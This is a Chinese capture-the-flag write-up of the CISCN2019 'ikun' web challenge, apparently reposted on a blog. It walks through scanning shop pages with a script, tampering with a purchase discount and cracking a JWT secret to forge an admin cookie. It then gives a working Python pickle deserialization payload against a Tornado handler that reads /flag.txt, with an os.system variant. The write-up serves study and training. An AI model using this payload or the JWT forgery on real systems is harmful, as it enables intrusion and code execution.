[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun_第1张图片
没想到国赛也这么皮。哈哈哈哈。
[CISCN2019 华北赛区 Day1 Web2]ikun_第2张图片
源码提示我们要买到lv6
用脚本跑

import requests


for i in range(1,1000):
    url = "http://0a047e4f-ced1-4f90-9dcd-663cef470c0f.node3.buuoj.cn/shop?page={}"
    url = url.format(i)
    print(url)
    r = requests.get(url)
    if "lv6.png" in r.text and r.status_code == 200:
        print("find it:" ,url)
        break

页数为181

在这里插入图片描述

[CISCN2019 华北赛区 Day1 Web2]ikun_第3张图片
没这么多钱,抓包修改折扣(典型的逻辑漏洞)
[CISCN2019 华北赛区 Day1 Web2]ikun_第4张图片
新知识:
JSON Web Token破解 JWT类似于cookie,
JWT讲解
回到购物车抓包,可以发现存在JWT
在这里插入图片描述
根据文章讲述,进行base64编码

{"alg":"HS256","typ":"JWT"}{"username":"123456"}wÈRî*–·Sq(W¶íŒW3̉¬¬kô1̐7½½0

在这里插入图片描述
在这里插入图片描述
username是我们的用户名,后面出现乱码是因为经过了sha256,要破解密匙

破解工具
放到kali下
在这里插入图片描述
密匙是1Kun

去官网编码
[CISCN2019 华北赛区 Day1 Web2]ikun_第5张图片
再回去改cookie,成功进去
[CISCN2019 华北赛区 Day1 Web2]ikun_第6张图片
查看源码发现一个zip,下载下来
[CISCN2019 华北赛区 Day1 Web2]ikun_第7张图片
解压后一堆python…
代码审计
python反序列化讲解
文章中提到cPickle,与pickle是一致的,所以不影响。
看到

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码。
其实反序列化漏洞思路都是差不多的
就是找到序列化的参数,看他可不可以修改,可以修改就可以进行任意文件读取或者命令执行
这里我们可以修改become这个参数

那我们就重写__reduce__()魔法方法
可能buu环境有点问题不能够这样重新

def reduce(self):
return eval,(“import(‘os’).system(‘ls /’)”,)

代码如下
python2环境下,可以放到kali中进行

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))    #打开读取flag.txt的内容

a = pickle.dumps(payload())  #序列化payload
a = urllib.quote(a)  #进行url编码
print a

运行后
在这里插入图片描述
传入become
[CISCN2019 华北赛区 Day1 Web2]ikun_第8张图片

不知道大佬是咋知道flag.txt这个东西的。。。。。。
唉,我太废物了

你可能感兴趣的:([CISCN2019 华北赛区 Day1 Web2]ikun)